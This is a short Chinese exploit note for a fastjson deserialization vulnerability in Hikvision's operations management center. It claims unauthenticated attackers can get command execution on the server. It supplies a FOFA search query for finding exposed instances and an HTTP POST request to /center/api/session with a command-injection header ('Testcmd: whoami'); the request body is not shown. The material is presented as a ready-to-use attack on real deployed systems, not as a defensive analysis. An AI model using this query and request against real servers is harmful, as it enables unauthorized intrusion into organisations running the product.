海康威视运行管理中心fastjson漏洞

海康运行管理中心系统使用低版本的fastjson，攻击者可在未鉴权情况下获取服务器权限，且由于存在相关依赖，即使服务器不出网无法远程加载恶意类也可通过本地链直接命令执行，从而获取服务器权限。

fofa

header="X-Content-Type-Options: nosniff" && body="<h1>Welcome to OpenResty!</h1>" && header="X-Xss-Protection: 1; mode=block"

exp

POST /center/api/session HTTP/1.1
Host: your-ip
Testcmd: whoami
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
X-Requested-With: XMLHttpRequest
 
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